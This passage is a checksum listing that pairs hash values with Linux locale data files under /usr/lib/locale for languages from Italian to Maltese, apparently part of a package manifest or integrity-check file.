/usr/lib/locale/it_IT.utf8/LC_IDENTIFICATION +a572836ff248cae9373427ca67b3e581 /usr/lib/locale/it_IT.utf8/LC_TELEPHONE +6f1f66c9da96eafb8225d40ff24b634e /usr/lib/locale/it_IT.utf8/LC_MONETARY +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/it_IT.utf8/LC_MEASUREMENT +3ae4a56ff88ab5dbc96932cd2be10055 /usr/lib/locale/it_IT.utf8/LC_NUMERIC +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/it_IT.utf8/LC_NAME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/it_IT.utf8/LC_ADDRESS +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/it_IT.utf8/LC_PAPER +eab22f048ec077baf9511b8f91ef46c3 /usr/lib/locale/it_IT.utf8/LC_CTYPE +7055ed589bdfe4d4ab38dbd83e2ef642 /usr/lib/locale/it_IT.utf8/LC_COLLATE +1b4df49fc879153d601755d8f937fb47 /usr/lib/locale/it_IT.utf8@euro/LC_MESSAGES/SYS_LC_MESSAGES +29761b6565e5f7536e0e0d8c43a50c98 /usr/lib/locale/it_IT.utf8@euro/LC_TIME +7a564fb65a9ad37dbc4b8d7b90dc60f7 /usr/lib/locale/it_IT.utf8@euro/LC_IDENTIFICATION +a572836ff248cae9373427ca67b3e581 /usr/lib/locale/it_IT.utf8@euro/LC_TELEPHONE +3d7a1219892806152491159f217f6fa0 /usr/lib/locale/it_IT.utf8@euro/LC_MONETARY +3ae4a56ff88ab5dbc96932cd2be10055 /usr/lib/locale/it_IT.utf8@euro/LC_NUMERIC +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/it_IT.utf8@euro/LC_NAME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/it_IT.utf8@euro/LC_ADDRESS +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/it_IT.utf8@euro/LC_PAPER +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/it_IT.utf8@euro/LC_MEASUREMENT +eab22f048ec077baf9511b8f91ef46c3 /usr/lib/locale/it_IT.utf8@euro/LC_CTYPE +7055ed589bdfe4d4ab38dbd83e2ef642 /usr/lib/locale/it_IT.utf8@euro/LC_COLLATE +67a2530012ffbdff3472d8c247e43591 /usr/lib/locale/it_IT@euro/LC_MESSAGES/SYS_LC_MESSAGES +b016896fd1ef5994c5b27844362ff87a /usr/lib/locale/it_IT@euro/LC_TIME +02473d56466a53b331c4e6ff39864f2e /usr/lib/locale/it_IT@euro/LC_IDENTIFICATION +e16940c7879a0a79b86be66f866e4db4 /usr/lib/locale/it_IT@euro/LC_TELEPHONE +855e30f44302ddb302743fb6d061b462 /usr/lib/locale/it_IT@euro/LC_MONETARY +b7d183bf4367f2cfdfe88aa1667a5d5d /usr/lib/locale/it_IT@euro/LC_COLLATE +c8d0b32a3a4c7fd13e654482eda18620 /usr/lib/locale/it_IT@euro/LC_PAPER +1b0d9ccc475b3ee8255f9c7b0bc4aba1 /usr/lib/locale/it_IT@euro/LC_NUMERIC +7809ac117e96c386beffe3ebdacca6dc /usr/lib/locale/it_IT@euro/LC_NAME +67269a7b9cd9fe5f02919e948a231c34 /usr/lib/locale/it_IT@euro/LC_MEASUREMENT +d9b1fa625a566959a39b3dd9b3036d0a /usr/lib/locale/it_IT@euro/LC_CTYPE +b4210496dbffa5fde62d96cbbaa739fd /usr/lib/locale/it_IT@euro/LC_ADDRESS +c4a280d58a68b07175b7781cd42c9fc8 /usr/lib/locale/iw_IL/LC_MESSAGES/SYS_LC_MESSAGES +995060cbd30ade1be8f51a0ce1b5949e /usr/lib/locale/iw_IL/LC_TIME +86fa46b486ae3bde138ba565f86ae69d /usr/lib/locale/iw_IL/LC_IDENTIFICATION +afd9f732f5f1276b3a63c57f69ee92f4 /usr/lib/locale/iw_IL/LC_TELEPHONE +2d0e5557259f6d109575e3f648b788a2 /usr/lib/locale/iw_IL/LC_PAPER +54854dd0c715359e0f8cdc47a27c254b /usr/lib/locale/iw_IL/LC_NUMERIC +71da7dfc7b6cb50781f4a5f16118efca /usr/lib/locale/iw_IL/LC_NAME +833957cb273b6a84f068f7e4c8884f95 /usr/lib/locale/iw_IL/LC_MONETARY +e13eb9ab008b50357c864b0a03155791 /usr/lib/locale/iw_IL/LC_MEASUREMENT +87649e2fdc0ae786eec024b7b32e5978 /usr/lib/locale/iw_IL/LC_CTYPE +aa02608288949bfd8498bd4fa90beac0 /usr/lib/locale/iw_IL/LC_COLLATE +675d708f10b837021259d7175274c6be /usr/lib/locale/iw_IL/LC_ADDRESS +e07e1094e991466816a1319fa82a9a2d /usr/lib/locale/iw_IL.utf8/LC_MESSAGES/SYS_LC_MESSAGES +534f871850019a109ef70f6253f87cc8 /usr/lib/locale/iw_IL.utf8/LC_TIME +ccba43b1f3ec34b18865e55e32bf0601 /usr/lib/locale/iw_IL.utf8/LC_IDENTIFICATION +fb73509f645762c598340ed953c86836 /usr/lib/locale/iw_IL.utf8/LC_TELEPHONE +28178671b7fac1468e4a552093dc2068 /usr/lib/locale/iw_IL.utf8/LC_MONETARY +25bea281b7df587a92c8fcf2124e83af /usr/lib/locale/iw_IL.utf8/LC_NUMERIC +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/iw_IL.utf8/LC_NAME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/iw_IL.utf8/LC_ADDRESS +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/iw_IL.utf8/LC_PAPER +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/iw_IL.utf8/LC_MEASUREMENT +eab22f048ec077baf9511b8f91ef46c3 /usr/lib/locale/iw_IL.utf8/LC_CTYPE +7055ed589bdfe4d4ab38dbd83e2ef642 /usr/lib/locale/iw_IL.utf8/LC_COLLATE +0c8a0972bbe12d9ebda86a486944d597 /usr/lib/locale/ja_JP.eucjp/LC_IDENTIFICATION +88227ff9b4cadb91de47d595c6d6c104 /usr/lib/locale/ja_JP.eucjp/LC_ADDRESS +b9ee30607a943594984c3fed33001724 /usr/lib/locale/ja_JP.eucjp/LC_COLLATE +4b2528097bf74325a82b28c5618ff2ef /usr/lib/locale/ja_JP.eucjp/LC_CTYPE +4dc56d8b4fa7c36a382e012ebf328f52 /usr/lib/locale/ja_JP.eucjp/LC_MESSAGES/SYS_LC_MESSAGES +39644e2158eb1ed81632a21ae522fe55 /usr/lib/locale/ja_JP.eucjp/LC_MEASUREMENT +21a6b31615cd8ced41d9bd3ceb37119c /usr/lib/locale/ja_JP.eucjp/LC_TELEPHONE +1dfe96092ba19a8eaa1f140db6a4edc6 /usr/lib/locale/ja_JP.eucjp/LC_MONETARY +57619ba226a52294935ac13a0dc8950a /usr/lib/locale/ja_JP.eucjp/LC_NAME +bd706d3cf6dde6cf48c7985a73d66787 /usr/lib/locale/ja_JP.eucjp/LC_NUMERIC +e515f6debcdc8f60ac887a4fc3235749 /usr/lib/locale/ja_JP.eucjp/LC_PAPER +800f822f84997116a4561995b96cd1b1 /usr/lib/locale/ja_JP.eucjp/LC_TIME +5c8e801c24bbefac31e3b405b75a7bdb /usr/lib/locale/ja_JP.utf8/LC_IDENTIFICATION +615722cea6e203fb9a3e78db426a4ce0 /usr/lib/locale/ja_JP.utf8/LC_COLLATE +8caa0aab1008ef269f79e2a8ef7c6660 /usr/lib/locale/ja_JP.utf8/LC_CTYPE +006b3abf2878af4245918af1e19f789e /usr/lib/locale/ja_JP.utf8/LC_MESSAGES/SYS_LC_MESSAGES +c9ee15d5f6230b9473549e2c16f73cef /usr/lib/locale/ja_JP.utf8/LC_TELEPHONE +9a31b06ebaa4f4c2f264f97fe66388b7 /usr/lib/locale/ja_JP.utf8/LC_MONETARY +694c29893f571ba18ada334bd02d541d /usr/lib/locale/ja_JP.utf8/LC_NAME +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/ja_JP.utf8/LC_PAPER +3ea2c471f3178ca4d75b64f76bfda789 /usr/lib/locale/ja_JP.utf8/LC_TIME +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/ja_JP.utf8/LC_MEASUREMENT +5ff44f043d7bfa890f85a1a84d8fab29 /usr/lib/locale/ja_JP.utf8/LC_NUMERIC +6280a46712a02caa517d7acc8d60c117 /usr/lib/locale/ja_JP.utf8/LC_ADDRESS +3a16c8268d87d3cb9b3aeb07f45e996c /usr/lib/locale/ka_GE/LC_IDENTIFICATION +a1f661fc931360d8c00710056011f2d2 /usr/lib/locale/ka_GE/LC_ADDRESS +5ba8a4a63f9320093a4e4fcc72ce3329 /usr/lib/locale/ka_GE/LC_COLLATE +d7866ced2082db42832dd21f69ad77e8 /usr/lib/locale/ka_GE/LC_CTYPE +913911910d9b9435b0560fabd64047ab /usr/lib/locale/ka_GE/LC_MESSAGES/SYS_LC_MESSAGES +4f151992db51359b07c58b37b35c125d /usr/lib/locale/ka_GE/LC_MEASUREMENT +30b5f4c6e4fb880011b5b67b79061f31 /usr/lib/locale/ka_GE/LC_TELEPHONE +f5bbfcdaaae470b3431a5b5ea8e8ff50 /usr/lib/locale/ka_GE/LC_MONETARY +13cddb89a8f0ed370e174a1c1836c120 /usr/lib/locale/ka_GE/LC_NAME +cb047e4a5e42c1c72a3793c56e0ed820 /usr/lib/locale/ka_GE/LC_NUMERIC +5d47a93cb12ff75a0138d01e4d91d3a8 /usr/lib/locale/ka_GE/LC_PAPER +510547aa16fed25b912433647d631bc7 /usr/lib/locale/ka_GE/LC_TIME +1d96b54ec411cc9f413b885668f37c8c /usr/lib/locale/kl_GL/LC_MESSAGES/SYS_LC_MESSAGES +8183f0823c6bffbb6c3255182e62a77e /usr/lib/locale/kl_GL/LC_TIME +96764ceffcf57b2ecc1d1eb3d202ef10 /usr/lib/locale/kl_GL/LC_IDENTIFICATION +466902770db8666a38916104b33ad9ae /usr/lib/locale/kl_GL/LC_TELEPHONE +88dfddedbbaeb9d23c1e1d7b8d1f1594 /usr/lib/locale/kl_GL/LC_MONETARY +1e9fbd3eb788b9db90142a0ca06a623e /usr/lib/locale/kl_GL/LC_COLLATE +74a67436a5f50d83f924c404cbbf8e66 /usr/lib/locale/kl_GL/LC_PAPER +9803aabd8b3564c9febbd871fd579a3c /usr/lib/locale/kl_GL/LC_NUMERIC +56b7ef56b353c460bc80c192ec1627cf /usr/lib/locale/kl_GL/LC_NAME +90fe15212a1ac184814f6171928b0e1d /usr/lib/locale/kl_GL/LC_MEASUREMENT +6c5e5033ee3bbded5815a975062fd53e /usr/lib/locale/kl_GL/LC_CTYPE +84cd44be8697f7593a4b38002c12b5df /usr/lib/locale/kl_GL/LC_ADDRESS +979c977a0a000305abedb42fae07bd46 /usr/lib/locale/kl_GL.utf8/LC_MESSAGES/SYS_LC_MESSAGES +28c902ac7a18eb07f1b8d1a097f171f2 /usr/lib/locale/kl_GL.utf8/LC_TIME +4213d503cafe1f084595d2d251bc80ef /usr/lib/locale/kl_GL.utf8/LC_IDENTIFICATION +b6dda4d6358dff9edbc5903f1be7c35e /usr/lib/locale/kl_GL.utf8/LC_TELEPHONE +8fbeae5221b8182dd44109b2e39dde6c /usr/lib/locale/kl_GL.utf8/LC_MONETARY +fe1eaedb32821ba89ad480235f6f502d /usr/lib/locale/kl_GL.utf8/LC_COLLATE +1e8c9ff4219cbab439739acc0d523bbb /usr/lib/locale/kl_GL.utf8/LC_NUMERIC +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/kl_GL.utf8/LC_NAME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/kl_GL.utf8/LC_ADDRESS +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/kl_GL.utf8/LC_PAPER +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/kl_GL.utf8/LC_MEASUREMENT +eab22f048ec077baf9511b8f91ef46c3 /usr/lib/locale/kl_GL.utf8/LC_CTYPE +3976097f2f9aea9eca923823185f0543 /usr/lib/locale/ko_KR.euckr/LC_IDENTIFICATION +7d78bdbed0d2739225028a12dda64a28 /usr/lib/locale/ko_KR.euckr/LC_ADDRESS +c6753771831602a6062637f694df09a6 /usr/lib/locale/ko_KR.euckr/LC_COLLATE +1a30bd55bbe438896c8fb1f02cafaf68 /usr/lib/locale/ko_KR.euckr/LC_CTYPE +d848ef153e402d2cb3f61166172cb333 /usr/lib/locale/ko_KR.euckr/LC_MESSAGES/SYS_LC_MESSAGES +30094db82d04b9700743ade0e5b3c5b4 /usr/lib/locale/ko_KR.euckr/LC_MEASUREMENT +be9221961e2917cd0734f01368518dcf /usr/lib/locale/ko_KR.euckr/LC_TELEPHONE +bbdae6f1f692378c82cdb2604010dcec /usr/lib/locale/ko_KR.euckr/LC_MONETARY +8d2f9da0240f75abd0841d11f8dfd667 /usr/lib/locale/ko_KR.euckr/LC_NAME +90eaddb835e3d2ce22684dccb8da8485 /usr/lib/locale/ko_KR.euckr/LC_NUMERIC +27e3ef99d8331143afda09e1770d90e1 /usr/lib/locale/ko_KR.euckr/LC_PAPER +0b23a868c1eb22bdaf475ab164c24ce8 /usr/lib/locale/ko_KR.euckr/LC_TIME +10fb5122a9d332c70fc1f5c21e9c88f2 /usr/lib/locale/ko_KR.utf8/LC_IDENTIFICATION +e9b4ec0bfb8da0c10aa1bd1664991eb4 /usr/lib/locale/ko_KR.utf8/LC_COLLATE +46b621dd0e409b761e5df36681034b17 /usr/lib/locale/ko_KR.utf8/LC_CTYPE +655c19a025382ac8cec4463d1d7f5ca2 /usr/lib/locale/ko_KR.utf8/LC_MESSAGES/SYS_LC_MESSAGES +72a9aedae3504ad60de1e8e0b564ea79 /usr/lib/locale/ko_KR.utf8/LC_TELEPHONE +03e418b0720df56b6664d77a1f013275 /usr/lib/locale/ko_KR.utf8/LC_MONETARY +25bea281b7df587a92c8fcf2124e83af /usr/lib/locale/ko_KR.utf8/LC_NUMERIC +34e20c6a59ef522b46051d3ec18a53ba /usr/lib/locale/ko_KR.utf8/LC_TIME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/ko_KR.utf8/LC_ADDRESS +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/ko_KR.utf8/LC_NAME +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/ko_KR.utf8/LC_MEASUREMENT +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/ko_KR.utf8/LC_PAPER +0beb0084ce88231a643d05b35f39debf /usr/lib/locale/kw_GB/LC_MESSAGES/SYS_LC_MESSAGES +6384f6de0720b211b0709d69c1b76cc0 /usr/lib/locale/kw_GB/LC_TIME +3de19c51febe0c9b8fc98513650f91d4 /usr/lib/locale/kw_GB/LC_IDENTIFICATION +79e6e7722f5bf02611b6e9a4354137b3 /usr/lib/locale/kw_GB/LC_TELEPHONE +33d7854cbc36a1ed3ba1a5a9b9642cbf /usr/lib/locale/kw_GB/LC_MONETARY +5a0d7365ae442bb043e74cf258fcb8ec /usr/lib/locale/kw_GB/LC_NUMERIC +74a67436a5f50d83f924c404cbbf8e66 /usr/lib/locale/kw_GB/LC_PAPER +56b7ef56b353c460bc80c192ec1627cf /usr/lib/locale/kw_GB/LC_NAME +90fe15212a1ac184814f6171928b0e1d /usr/lib/locale/kw_GB/LC_MEASUREMENT +6c5e5033ee3bbded5815a975062fd53e /usr/lib/locale/kw_GB/LC_CTYPE +74ad1041fbc8a219f9e8fdf1436ff5c0 /usr/lib/locale/kw_GB/LC_COLLATE +84cd44be8697f7593a4b38002c12b5df /usr/lib/locale/kw_GB/LC_ADDRESS +5dcf8abfca2ddfe3ace8110ef0dc0299 /usr/lib/locale/kw_GB.utf8/LC_MESSAGES/SYS_LC_MESSAGES +983546fcae94bf92e943621969659753 /usr/lib/locale/kw_GB.utf8/LC_TIME +7f0b0d90d55ca890795fb3621be5e918 /usr/lib/locale/kw_GB.utf8/LC_IDENTIFICATION +47d722ab5512bc9c0e6072351c882734 /usr/lib/locale/kw_GB.utf8/LC_TELEPHONE +722124aa3afd8fe54af84c7d5aa6ee9e /usr/lib/locale/kw_GB.utf8/LC_MONETARY +25bea281b7df587a92c8fcf2124e83af /usr/lib/locale/kw_GB.utf8/LC_NUMERIC +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/kw_GB.utf8/LC_NAME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/kw_GB.utf8/LC_ADDRESS +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/kw_GB.utf8/LC_PAPER +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/kw_GB.utf8/LC_MEASUREMENT +eab22f048ec077baf9511b8f91ef46c3 /usr/lib/locale/kw_GB.utf8/LC_CTYPE +7055ed589bdfe4d4ab38dbd83e2ef642 /usr/lib/locale/kw_GB.utf8/LC_COLLATE +3a1df5621f97e66a240e7c44588f030e /usr/lib/locale/lt_LT/LC_IDENTIFICATION +be11eb7d5febfcbc0ef5d206e30a286b /usr/lib/locale/lt_LT/LC_COLLATE +a23e10ea223d57631cfeb51ad64f6c70 /usr/lib/locale/lt_LT/LC_MESSAGES/SYS_LC_MESSAGES +e08001dbab546338140c3666afc5cbf4 /usr/lib/locale/lt_LT/LC_TELEPHONE +598a1c530424b0e419753dd5e40a860e /usr/lib/locale/lt_LT/LC_MONETARY +11ad78c588e53acfe85a06b614dc1d3a /usr/lib/locale/lt_LT/LC_NUMERIC +992fe68a7dddd8d21cb62754930360ca /usr/lib/locale/lt_LT/LC_PAPER +af1c9083260dad3add107e775ec27395 /usr/lib/locale/lt_LT/LC_TIME +86ac0df6ae924719a7de67fc566262fa /usr/lib/locale/lt_LT/LC_MEASUREMENT +862d7561ea930bf0dfead47a082ee1ac /usr/lib/locale/lt_LT/LC_NAME +bca2798600089e49539e45224f934f7c /usr/lib/locale/lt_LT/LC_CTYPE +1939f586dd0e589456c7923d464a933b /usr/lib/locale/lt_LT/LC_ADDRESS +65de8e60f8f9f58c07591d18b3b133f7 /usr/lib/locale/lt_LT.utf8/LC_IDENTIFICATION +05485f21247ac49768a0290f9454ba7e /usr/lib/locale/lt_LT.utf8/LC_COLLATE +22911306613879bf66c05a809ca75920 /usr/lib/locale/lt_LT.utf8/LC_MESSAGES/SYS_LC_MESSAGES +7553a969fdf91ed574cf0d1f377424e7 /usr/lib/locale/lt_LT.utf8/LC_TELEPHONE +1dc2d87a9a8b2c033b0bb7e1f38af034 /usr/lib/locale/lt_LT.utf8/LC_MONETARY +1e8c9ff4219cbab439739acc0d523bbb /usr/lib/locale/lt_LT.utf8/LC_NUMERIC +1250786b9e39d775b3e92a62191d9ee5 /usr/lib/locale/lt_LT.utf8/LC_TIME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/lt_LT.utf8/LC_ADDRESS +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/lt_LT.utf8/LC_NAME +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/lt_LT.utf8/LC_MEASUREMENT +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/lt_LT.utf8/LC_PAPER +eab22f048ec077baf9511b8f91ef46c3 /usr/lib/locale/lt_LT.utf8/LC_CTYPE +f82e33be812cc09878d64e4f282c37c1 /usr/lib/locale/lv_LV/LC_IDENTIFICATION +aba931a3dcb488160100a88806a2b550 /usr/lib/locale/lv_LV/LC_COLLATE +dcfb0a290bc603407f2a3467be55b66b /usr/lib/locale/lv_LV/LC_MESSAGES/SYS_LC_MESSAGES +78574a8e8290ea5044148b52d4c8548a /usr/lib/locale/lv_LV/LC_TELEPHONE +32f8414df1fe9bf849c72da6c63217c0 /usr/lib/locale/lv_LV/LC_MONETARY +883d0ea84cd3b0db86aeb483a4500110 /usr/lib/locale/lv_LV/LC_NUMERIC +992fe68a7dddd8d21cb62754930360ca /usr/lib/locale/lv_LV/LC_PAPER +a90237225816082d602a4faee78f1d02 /usr/lib/locale/lv_LV/LC_TIME +86ac0df6ae924719a7de67fc566262fa /usr/lib/locale/lv_LV/LC_MEASUREMENT +862d7561ea930bf0dfead47a082ee1ac /usr/lib/locale/lv_LV/LC_NAME +bca2798600089e49539e45224f934f7c /usr/lib/locale/lv_LV/LC_CTYPE +1939f586dd0e589456c7923d464a933b /usr/lib/locale/lv_LV/LC_ADDRESS +cd7f932835d66f436ae7e739b17d652d /usr/lib/locale/lv_LV.utf8/LC_IDENTIFICATION +990631e2c8a4fc10b9b7c0a47b622d3a /usr/lib/locale/lv_LV.utf8/LC_COLLATE +6762009ffdd6a02ff87ec0a0aaa854b7 /usr/lib/locale/lv_LV.utf8/LC_MESSAGES/SYS_LC_MESSAGES +493d0e2c0e8593e70622a7c4e5fb0fb9 /usr/lib/locale/lv_LV.utf8/LC_TELEPHONE +a9d827c5bd09ce8349f49e0190ccc0b2 /usr/lib/locale/lv_LV.utf8/LC_MONETARY +eb52ce5476daa284a70d9478ded3ee97 /usr/lib/locale/lv_LV.utf8/LC_NUMERIC +ead34bb5a6dfe970950a538ce90d503e /usr/lib/locale/lv_LV.utf8/LC_TIME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/lv_LV.utf8/LC_ADDRESS +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/lv_LV.utf8/LC_NAME +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/lv_LV.utf8/LC_MEASUREMENT +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/lv_LV.utf8/LC_PAPER +eab22f048ec077baf9511b8f91ef46c3 /usr/lib/locale/lv_LV.utf8/LC_CTYPE +00db6d552725309e1dc43ccb8557e2f1 /usr/lib/locale/mi_NZ/LC_IDENTIFICATION +c312da4583b6c407e15af68f38df31f4 /usr/lib/locale/mi_NZ/LC_COLLATE +397dab62d626cda49574e550ceb0210c /usr/lib/locale/mi_NZ/LC_MESSAGES/SYS_LC_MESSAGES +fbac8dffebaa6f746184b0b7ac3fb66a /usr/lib/locale/mi_NZ/LC_TELEPHONE +4792b71b02056faa27084e0687bd90ae /usr/lib/locale/mi_NZ/LC_MONETARY +7628b023362033fdd43cce6af149c397 /usr/lib/locale/mi_NZ/LC_NUMERIC +992fe68a7dddd8d21cb62754930360ca /usr/lib/locale/mi_NZ/LC_PAPER +23f9d271a90a8cc4235cd9784bf97ba2 /usr/lib/locale/mi_NZ/LC_TIME +86ac0df6ae924719a7de67fc566262fa /usr/lib/locale/mi_NZ/LC_MEASUREMENT +862d7561ea930bf0dfead47a082ee1ac /usr/lib/locale/mi_NZ/LC_NAME +bca2798600089e49539e45224f934f7c /usr/lib/locale/mi_NZ/LC_CTYPE +1939f586dd0e589456c7923d464a933b /usr/lib/locale/mi_NZ/LC_ADDRESS +d1d2a6aca8be2b71bee696ee2ad79e23 /usr/lib/locale/mk_MK/LC_IDENTIFICATION +f4ce7dbe869ce0f2bdb1f10da0825ee5 /usr/lib/locale/mk_MK/LC_ADDRESS +ad4b32f7f6ebf1adc7eda4587c90672d /usr/lib/locale/mk_MK/LC_MESSAGES/SYS_LC_MESSAGES +4e9f91fdb421e719434c48d1565c3cab /usr/lib/locale/mk_MK/LC_TELEPHONE +4ed4d0e27fcd5b727be7450958a2f9e1 /usr/lib/locale/mk_MK/LC_MONETARY +3777255c07ec4827367aeb4134909232 /usr/lib/locale/mk_MK/LC_NAME +d6537dca344a8b195a97ef7501e2b37c /usr/lib/locale/mk_MK/LC_NUMERIC +c907f167139e3c0532b8a6a6664fec59 /usr/lib/locale/mk_MK/LC_PAPER +f9c64c02d5f8ef1accd70947a37379cd /usr/lib/locale/mk_MK/LC_TIME +3066ee7abd29b4937e846453d46b863a /usr/lib/locale/mk_MK/LC_MEASUREMENT +04a2ec397a1c23cce437d1709258bca4 /usr/lib/locale/mk_MK/LC_CTYPE +49c7b52751bb3e1d86d132af4d896538 /usr/lib/locale/mk_MK/LC_COLLATE +b91781039f3eba35f1ce4560a3c41cd1 /usr/lib/locale/mk_MK.utf8/LC_IDENTIFICATION +96d95d09958cedd3380ee5c7cf15be6b /usr/lib/locale/mk_MK.utf8/LC_ADDRESS +b31a0ebc27537fa746fda9b8754fc18d /usr/lib/locale/mk_MK.utf8/LC_MESSAGES/SYS_LC_MESSAGES +ca04a4bb8e2d51da0e1ad66344d7d319 /usr/lib/locale/mk_MK.utf8/LC_TELEPHONE +8c21d855e818ec591370e3bfbedda9ce /usr/lib/locale/mk_MK.utf8/LC_MONETARY +57608942835eaa19465b6323f534142b /usr/lib/locale/mk_MK.utf8/LC_NAME +2ea22e9eeba7956968dfcc67417942b4 /usr/lib/locale/mk_MK.utf8/LC_NUMERIC +4421f2f453e04b6764e79a918df7a09b /usr/lib/locale/mk_MK.utf8/LC_TIME +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/mk_MK.utf8/LC_MEASUREMENT +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/mk_MK.utf8/LC_PAPER +eab22f048ec077baf9511b8f91ef46c3 /usr/lib/locale/mk_MK.utf8/LC_CTYPE +7055ed589bdfe4d4ab38dbd83e2ef642 /usr/lib/locale/mk_MK.utf8/LC_COLLATE +b4bc812d80b2bf514fa6b13525f22d89 /usr/lib/locale/mr_IN/LC_MESSAGES/SYS_LC_MESSAGES +9b0a9c3d9dbd06db60e5c9b22c22fbe0 /usr/lib/locale/mr_IN/LC_TIME +0dadd07918e437ed50661ecb8e03183a /usr/lib/locale/mr_IN/LC_IDENTIFICATION +94557c17644e850a652716e215945261 /usr/lib/locale/mr_IN/LC_TELEPHONE +20550f5f514a236698e60c575a4cc7d0 /usr/lib/locale/mr_IN/LC_MONETARY +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/mr_IN/LC_PAPER +090083a6859338a517a96550cab8d845 /usr/lib/locale/mr_IN/LC_NAME +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/mr_IN/LC_MEASUREMENT +5ff44f043d7bfa890f85a1a84d8fab29 /usr/lib/locale/mr_IN/LC_NUMERIC +eab22f048ec077baf9511b8f91ef46c3 /usr/lib/locale/mr_IN/LC_CTYPE +7055ed589bdfe4d4ab38dbd83e2ef642 /usr/lib/locale/mr_IN/LC_COLLATE +6280a46712a02caa517d7acc8d60c117 /usr/lib/locale/mr_IN/LC_ADDRESS +86b18f0f590693af6ebe1fb3df8a83ab /usr/lib/locale/ms_MY/LC_MESSAGES/SYS_LC_MESSAGES +0684628f4a927dc2b5bebc5047d5d64b /usr/lib/locale/ms_MY/LC_TIME +57882dcbd516fd82f047671c15bc9741 /usr/lib/locale/ms_MY/LC_IDENTIFICATION +e734582b0a0e47e64403df60a5e54fe6 /usr/lib/locale/ms_MY/LC_TELEPHONE +2d38083dc910d4496ec1ac7e7ebc65de /usr/lib/locale/ms_MY/LC_MONETARY +4e8c474096cf5a9cc7061c1f39737e7c /usr/lib/locale/ms_MY/LC_NAME +90fe15212a1ac184814f6171928b0e1d /usr/lib/locale/ms_MY/LC_MEASUREMENT +339818f2adcb169d6bf749131be816e3 /usr/lib/locale/ms_MY/LC_NUMERIC +6c252a0eacd0ab87f0b3feaff766121e /usr/lib/locale/ms_MY/LC_ADDRESS +74a67436a5f50d83f924c404cbbf8e66 /usr/lib/locale/ms_MY/LC_PAPER +6c5e5033ee3bbded5815a975062fd53e /usr/lib/locale/ms_MY/LC_CTYPE +74ad1041fbc8a219f9e8fdf1436ff5c0 /usr/lib/locale/ms_MY/LC_COLLATE +01d8779abd351873d597783147bc52d6 /usr/lib/locale/ms_MY.utf8/LC_MESSAGES/SYS_LC_MESSAGES +dbd175a4c7156240add3989995a851de /usr/lib/locale/ms_MY.utf8/LC_TIME +256c6c32319b978985e340099f2a18fa /usr/lib/locale/ms_MY.utf8/LC_IDENTIFICATION +cbd8ed7030ba4819095e080c7907e608 /usr/lib/locale/ms_MY.utf8/LC_TELEPHONE +c8f6a0c9df0d5013e5bef561b0460005 /usr/lib/locale/ms_MY.utf8/LC_MONETARY +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/ms_MY.utf8/LC_PAPER +090083a6859338a517a96550cab8d845 /usr/lib/locale/ms_MY.utf8/LC_NAME +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/ms_MY.utf8/LC_MEASUREMENT +5ff44f043d7bfa890f85a1a84d8fab29 /usr/lib/locale/ms_MY.utf8/LC_NUMERIC +eab22f048ec077baf9511b8f91ef46c3 /usr/lib/locale/ms_MY.utf8/LC_CTYPE +7055ed589bdfe4d4ab38dbd83e2ef642 /usr/lib/locale/ms_MY.utf8/LC_COLLATE +6280a46712a02caa517d7acc8d60c117 /usr/lib/locale/ms_MY.utf8/LC_ADDRESS +15d272df19d8dd7ff25f2d690d6e69e3 /usr/lib/locale/mt_MT/LC_IDENTIFICATION +94bdc14f87b798e40c5c636ef83b42c7 /usr/lib/locale/mt_MT/LC_ADDRESS +6ee9889b5e619a639d054ff52d30918b /usr/lib/locale/mt_MT/LC_COLLATE +660a1cace96163f0e6b331d6cfe420ec /usr/lib/locale/mt_MT/LC_CTYPE +30052680febc201fde3256ac26a35cc7 /usr/lib/locale/mt_MT/LC_MESSAGES/SYS_LC_MESSAGES +ce88ad6dd8e54d6e8f414884b073a974 /usr/lib/locale/mt_MT/LC_MEASUREMENT +b83ce122d8cdd12288471bf3093f7043 /usr/lib/locale/mt_MT/LC_TELEPHONE +c4536511e56db25d4ce4a4c307c7a6d6 /usr/lib/locale/mt_MT/LC_MONETARY +d56d67e96ea4899e1b78c05b7f4c2427 /usr/lib/locale/mt_MT/LC_NAME +88d88bb3bb5abcfb39206b77947342e3 /usr/lib/locale/mt_MT/LC_NUMERIC +8af0e65d13cbb0c57f977ec34d3e38f9 /usr/lib/locale/mt_MT/LC_PAPER 